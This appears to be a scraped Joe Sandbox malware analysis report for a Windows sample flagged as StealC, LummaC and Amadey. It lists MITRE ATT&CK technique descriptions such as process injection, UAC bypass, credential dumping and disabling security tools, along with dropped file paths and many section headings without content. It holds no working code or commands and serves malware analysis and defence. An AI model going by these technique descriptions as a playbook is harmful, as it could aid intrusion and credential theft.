Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a0000_dbec6bb1cf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95c210bc20d48406ab58621916cfd951efdc249bd24fa1723abbdf69df8387c0
Instruction ID: 799c3375593841f678e75500d8961ec1854209e0d130f67d00ef5ddc17ba92b9
Opcode Fuzzy Hash: 95c210bc20d48406ab58621916cfd951efdc249bd24fa1723abbdf69df8387c0
Instruction Fuzzy Hash: 4DC04C24A590848A82448E85A8E1471A3A95316208750703A9602EB2A2C560D409850D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\A77BGJTTW6SX9ESX.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre